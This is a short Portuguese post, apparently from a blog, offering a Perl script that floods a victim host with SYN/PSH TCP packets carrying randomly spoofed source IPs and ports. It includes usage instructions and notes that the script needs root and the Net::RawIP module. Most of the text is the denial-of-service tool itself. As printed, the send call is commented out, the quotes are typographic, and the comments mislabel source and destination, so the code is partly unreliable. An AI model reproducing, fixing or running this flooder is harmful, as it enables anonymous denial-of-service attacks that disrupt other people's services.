Este script escrito em perl envia pacotes tcp a vítima escondendo o ip original do atacante (IP Spoof), claro que para um ataque de negação de serviço bem sucedido sua conexão deve ser bem maior que a da vítima.
Necessário ter o módulo Net::RawIP instalado, pois através dele conseguimos manipular o cabeçalho dos pacotes tcp. Para utilizar o script deverá estar logado como root.
Uso:
perl ./flood.pl <ip> <porta> <tempo>
Arquivo flood.pl
#!/usr/bin/perl
use Net::RawIP;
sub usage() {
die “Use $0 <ip> <port> <time>\n”;
}
sub get_time() {
$finaltime = time;
$endme = $finaltime-$begintime;
}
if (@ARGV>3) {&usage}
$ipdest = $ARGV[0] or &usage;
$destport = $ARGV[1] or &usage;
$time = $ARGV[2] or &usage;
@tmpport = (1756,1026,1739,4055,2001,3055,1999, 2873,20000,5476,9132,6000,9000,1234);
@iparray_round1 = (1,2);
@iparray_round2 = (0,1,2,3,4,5,6,7,8,9);
print “[!] Spoof-DoS\n”;
print “[!] Time: $timen”;
print “[!] Destination victin-> $ipdest:$destportn”;
$packet = new Net::RawIP;
$begintime = $^T;
get_time();
while($endme < $time) {
for ($z=0;$z<4;$z++) {
for($I=0;$I<1;$I++) {
$ip .= 2;
}
for($kick=0;$kick<1;$kick++) {
$iparray_round1 = $iparray_round1[rand(@iparray_round1)] ;
$ip .= $iparray_round1;
}
for($you=0;$you<1;$you++) {
$iparray_round2 = $iparray_round2[rand(@iparray_round2)] ;
$ip .= $iparray_round2;
}
$ip .= “.”;
}
chop($ip);
$tmpport = $tmpport[rand(@tmpport)];
$packet->set(
{
ip => { saddr => $ip, #Ip da vítima
daddr => $ipdest #Porta da vítima
},
#Ip de origem (Camuflado e aleatório)
tcp => { source => $tmpport,
#Porta de origem (Aleatória)
dest => $destport,
psh => 1,
ack => 0,
syn => 1,
data => ‘31337′
}
}
);
#Enviando: $packet->send(0,1) ;
print “\n[*] From-> $ip:$destport.”;
$ip = ”;
get_time();
}
#That`s all folks!
print “\nDone!\n”;
#eof